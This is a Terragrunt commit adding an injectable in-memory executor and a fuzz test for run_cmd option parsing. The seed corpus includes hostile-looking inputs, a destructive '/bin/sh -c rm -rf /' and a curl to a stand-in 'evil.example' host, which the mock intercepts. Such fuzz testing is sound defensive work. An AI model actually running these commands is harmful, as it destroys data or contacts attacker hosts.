Skip to content

Commit 9a0d322

Browse files
committed
chore: fuzz test improvements
1 parent 4b774d8 commit 9a0d322

2 files changed

Lines changed: 144 additions & 32 deletions

File tree

internal/shell/run_cmd.go

Lines changed: 47 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -12,6 +12,7 @@ import (
1212
"github.com/gruntwork-io/terragrunt/internal/engine"
1313
"github.com/gruntwork-io/terragrunt/internal/experiment"
1414
"github.com/gruntwork-io/terragrunt/internal/os/exec"
15+
"github.com/gruntwork-io/terragrunt/internal/vexec"
1516
"github.com/gruntwork-io/terragrunt/internal/writer"
1617
"github.com/gruntwork-io/terragrunt/pkg/log"
1718

@@ -21,6 +22,29 @@ import (
2122
"github.com/gruntwork-io/terragrunt/internal/util"
2223
)
2324

25+
type execContextKey struct{}
26+
27+
// WithExec returns ctx with the given vexec.Exec installed for use by RunCommandWithOutput.
28+
// When set, the executor replaces the default os/exec backend; intended for tests that need to intercept subprocess execution.
29+
func WithExec(ctx context.Context, e vexec.Exec) context.Context {
30+
return context.WithValue(ctx, execContextKey{}, e)
31+
}
32+
33+
func execFromContext(ctx context.Context) vexec.Exec {
34+
e, _ := ctx.Value(execContextKey{}).(vexec.Exec)
35+
return e
36+
}
37+
38+
func envSliceFromMap(env map[string]string) []string {
39+
out := make([]string, 0, len(env))
40+
41+
for k, v := range env {
42+
out = append(out, k+"="+v)
43+
}
44+
45+
return out
46+
}
47+
2448
// SignalForwardingDelay is the time to wait before forwarding the signal to the subcommand.
2549
//
2650
// The signal can be sent to the main process (only `terragrunt`) as well as the process group (`terragrunt` and `terraform`), for example:
@@ -248,6 +272,29 @@ func RunCommandWithOutput(
248272
}
249273
}
250274

275+
if injected := execFromContext(ctx); injected != nil {
276+
injectedCmd := injected.Command(ctx, command, args...)
277+
injectedCmd.SetDir(commandDir)
278+
injectedCmd.SetEnv(envSliceFromMap(runOpts.Env))
279+
injectedCmd.SetStdout(cmdStdout)
280+
injectedCmd.SetStderr(cmdStderr)
281+
282+
if err := injectedCmd.Run(); err != nil {
283+
return errors.New(util.ProcessExecutionError{
284+
Err: err,
285+
Args: args,
286+
Command: command,
287+
Output: output,
288+
WorkingDir: commandDir,
289+
RootWorkingDir: runOpts.RootWorkingDir,
290+
LogShowAbsPaths: runOpts.Writers.LogShowAbsPaths,
291+
DisableSummary: runOpts.Writers.LogDisableErrorSummary,
292+
})
293+
}
294+
295+
return nil
296+
}
297+
251298
cmd := exec.Command(ctx, command, args...)
252299
cmd.Dir = commandDir
253300
cmd.Stdout = cmdStdout

pkg/config/fuzz_test.go

Lines changed: 97 additions & 32 deletions
Original file line numberDiff line numberDiff line change
@@ -2,10 +2,14 @@ package config_test
22

33
import (
44
"context"
5+
"io"
56
"strings"
7+
"sync/atomic"
68
"testing"
79
"time"
810

11+
"github.com/gruntwork-io/terragrunt/internal/shell"
12+
"github.com/gruntwork-io/terragrunt/internal/vexec"
913
"github.com/gruntwork-io/terragrunt/pkg/config"
1014
"github.com/gruntwork-io/terragrunt/test/helpers/logger"
1115
"github.com/stretchr/testify/require"
@@ -66,65 +70,126 @@ func FuzzHCLStringHelpers(f *testing.F) {
6670
})
6771
}
6872

69-
// FuzzRunCmdOptionsParsing: exercises run_cmd's option-stripping logic without ever reaching shell-out.
70-
// Args are filtered to known --terragrunt-* flags and NO command is appended, so RunCommand always returns
71-
// EmptyStringNotAllowedError or ConflictingRunCmdCacheOptionsError before shell.RunCommandWithOutput is called.
72-
func FuzzRunCmdOptionsParsing(f *testing.F) {
73+
// FuzzHCLRunCommand fuzzes config.RunCommand with arbitrary argv. Subprocess execution
74+
// is intercepted by an in-memory vexec backend installed via shell.WithExec, so no real
75+
// host commands ever run — even mutator-supplied paths like "/bin/sh\x00-c\x00rm -rf /"
76+
// are captured by the mock instead of reaching the operating system.
77+
//
78+
// Asserts:
79+
// - On the conflict path (--terragrunt-no-cache + --terragrunt-global-cache):
80+
// RunCommand returns ConflictingRunCmdCacheOptionsError, mock not invoked.
81+
// - On the empty-args path (input has only option flags or is wholly empty):
82+
// RunCommand returns EmptyStringNotAllowedError, mock not invoked.
83+
// - On the success path (a real command remains after stripping options):
84+
// mock is invoked exactly once and RunCommand returns the mock's stdout.
85+
func FuzzHCLRunCommand(f *testing.F) {
7386
seeds := []string{
7487
"",
7588
"--terragrunt-quiet",
7689
"--terragrunt-no-cache",
7790
"--terragrunt-global-cache",
78-
"--terragrunt-quiet\x00--terragrunt-no-cache",
7991
"--terragrunt-quiet\x00--terragrunt-quiet",
92+
"--terragrunt-quiet\x00--terragrunt-no-cache",
8093
"--terragrunt-no-cache\x00--terragrunt-global-cache",
8194
"--terragrunt-global-cache\x00--terragrunt-no-cache",
8295
"--terragrunt-quiet\x00--terragrunt-no-cache\x00--terragrunt-global-cache",
83-
"--unknown-flag",
96+
"/bin/echo\x00hi",
97+
"--terragrunt-quiet\x00/bin/echo\x00hi",
98+
"--terragrunt-no-cache\x00/bin/echo\x00hi",
99+
"--terragrunt-global-cache\x00/bin/echo\x00hi",
100+
"/bin/sh\x00-c\x00rm -rf /",
101+
"/usr/bin/curl\x00http://evil.example/x",
102+
"--unknown-flag\x00args",
103+
"\x00",
104+
"\x00\x00",
84105
}
85106
for _, s := range seeds {
86107
f.Add(s)
87108
}
88109

89110
f.Fuzz(func(t *testing.T, raw string) {
90-
parts := strings.Split(raw, "\x00")
91-
92-
var hasNoCache, hasGlobalCache bool
93-
94-
args := make([]string, 0, len(parts))
95-
for _, part := range parts {
96-
switch part {
97-
case "--terragrunt-quiet":
98-
args = append(args, part)
99-
case "--terragrunt-no-cache":
100-
args = append(args, part)
101-
hasNoCache = true
102-
case "--terragrunt-global-cache":
103-
args = append(args, part)
104-
hasGlobalCache = true
105-
}
106-
}
111+
original := strings.Split(raw, "\x00")
112+
113+
// runCommandImpl mutates the input via slices.Delete, so pass a copy and
114+
// keep the original around for the post-hoc invariant check.
115+
argsForCall := make([]string, len(original))
116+
copy(argsForCall, original)
117+
118+
var calls atomic.Int32
119+
120+
const mockOutput = "fuzz-mock-output\n"
121+
122+
memExec := vexec.NewMemExec(func(_ context.Context, _ vexec.Invocation) vexec.Result {
123+
calls.Add(1)
124+
125+
return vexec.Result{Stdout: []byte(mockOutput)}
126+
})
107127

108128
baseCtx, pctx := newTestParsingContext(t, "")
129+
pctx.Writers.Writer = io.Discard
130+
pctx.Writers.ErrWriter = io.Discard
109131

110132
ctx, cancel := context.WithTimeout(baseCtx, 2*time.Second)
111133
defer cancel()
112134

113-
l := logger.CreateLogger()
135+
ctx = shell.WithExec(ctx, memExec)
114136

115-
out, err := config.RunCommand(ctx, pctx, l, args)
137+
l := logger.CreateLogger()
138+
out, err := config.RunCommand(ctx, pctx, l, argsForCall)
116139

117-
require.Empty(t, out, "options-only call must not produce output")
118-
require.Error(t, err, "options-only call must error")
140+
stripped, conflict := strippedRunCmdArgs(original)
119141

120-
if hasNoCache && hasGlobalCache {
142+
switch {
143+
case conflict:
144+
require.Error(t, err, "expected ConflictingRunCmdCacheOptionsError for %q", raw)
121145
require.True(t, assertErrorType(t, config.ConflictingRunCmdCacheOptionsError{}, err),
122146
"expected ConflictingRunCmdCacheOptionsError, got %T: %v", err, err)
147+
require.Empty(t, out)
148+
require.Equal(t, int32(0), calls.Load(),
149+
"exec must not run on the conflict path (got %d calls)", calls.Load())
150+
case len(stripped) == 0:
151+
require.Error(t, err, "expected EmptyStringNotAllowedError for %q", raw)
152+
require.True(t, assertErrorType(t, config.EmptyStringNotAllowedError(""), err),
153+
"expected EmptyStringNotAllowedError, got %T: %v", err, err)
154+
require.Empty(t, out)
155+
require.Equal(t, int32(0), calls.Load(),
156+
"exec must not run on the empty-args path (got %d calls)", calls.Load())
157+
default:
158+
require.NoError(t, err, "expected mock-success for stripped %v from raw %q", stripped, raw)
159+
require.Equal(t, strings.TrimSuffix(mockOutput, "\n"), out,
160+
"expected trimmed mock output for stripped %v", stripped)
161+
require.Equal(t, int32(1), calls.Load(),
162+
"exec must run exactly once on success path (got %d calls)", calls.Load())
163+
}
164+
})
165+
}
123166

124-
return
167+
// strippedRunCmdArgs mirrors runCommandImpl's option-flag handling without invoking
168+
// the function under test. It returns the args after stripping known --terragrunt-*
169+
// options from the front and reports whether --terragrunt-no-cache and
170+
// --terragrunt-global-cache appeared together (which produces a conflict error).
171+
func strippedRunCmdArgs(args []string) ([]string, bool) {
172+
var hasNoCache, hasGlobalCache bool
173+
174+
for i, a := range args {
175+
switch a {
176+
case "--terragrunt-quiet":
177+
case "--terragrunt-no-cache":
178+
if hasGlobalCache {
179+
return nil, true
180+
}
181+
182+
hasNoCache = true
183+
case "--terragrunt-global-cache":
184+
if hasNoCache {
185+
return nil, true
186+
}
187+
188+
hasGlobalCache = true
189+
default:
190+
return args[i:], false
125191
}
192+
}
126193

127-
require.True(t, assertErrorType(t, config.EmptyStringNotAllowedError(""), err),
128-
"expected EmptyStringNotAllowedError, got %T: %v", err, err)
129-
})
194+
return nil, false
130195
}

0 commit comments

Comments
 (0)